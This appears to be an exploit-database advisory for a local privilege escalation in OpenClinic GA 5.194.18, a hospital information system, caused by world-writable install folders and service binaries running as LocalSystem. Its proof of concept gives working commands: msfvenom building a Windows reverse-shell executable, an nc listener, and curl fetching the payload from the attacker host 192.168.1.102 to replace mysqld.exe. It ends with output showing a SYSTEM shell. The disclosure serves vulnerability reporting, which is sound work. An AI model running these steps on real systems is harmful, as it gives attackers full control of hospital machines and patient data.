OpenClinic GA 5.194.18 Privilege Escalation

`# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation  
# Date: 2021-07-24  
# Author: Alessandro Salzano  
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/  
# Software Homepage: https://sourceforge.net/projects/open-clinic/  
# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download  
# Version: 5.194.18  
# Tested on: Microsoft Windows 10 Enterprise x64  
  
Open Source Integrated Hospital Information Management System.  
OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.  
  
Vendor: OpenClinic GA.  
  
Affected version: > 5.194.18  
  
# Details  
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.  
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace  
# with a malicious file that would connect back to an attacking computer giving system level privileges  
# (nt authority\system) due to the service running as Local System.  
# While a low privilege user is unable to restart the service through the application, a restart of the  
# computer triggers the execution of the malicious file.  
  
The application also have unquoted service path issues.  
  
(1) Impacted services.  
Any low privileged user can elevate their privileges abusing MariaDB service:  
  
C:\projects\openclinic\mariadb\bin\mysqld.exe  
  
  
Details:  
  
  
SERVICE_NAME: OpenClinicHttp  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : OpenClinicHttp  
DEPENDENCIES : Tcpip  
: Afd  
SERVICE_START_NAME : NT Authority\LocalServic  
  
--------  
  
SERVICE_NAME: OpenClinicMySQL  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : OpenClinicMySQL  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
(2) Folder permissions.  
Insecure folders permissions issue:  
  
  
icacls C:\projects\openclinic  
C:\projects\openclinic Everyone:(I)(OI)(CI)(F)  
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)  
  
  
  
  
  
# Proof of Concept  
  
1. Generate malicious .exe on attacking machine  
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe  
  
2. Setup listener and ensure apache is running on attacking machine  
nc -lvp 4242  
service apache2 start  
  
3. Download malicious .exe on victim machine  
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"  
  
4. Overwrite file and copy malicious .exe.  
Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak  
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe  
  
5. Restart victim machine  
  
6. Reverse Shell on attacking machine opens  
C:\Windows\system32>whoami  
whoami  
nt authority\system  
  
`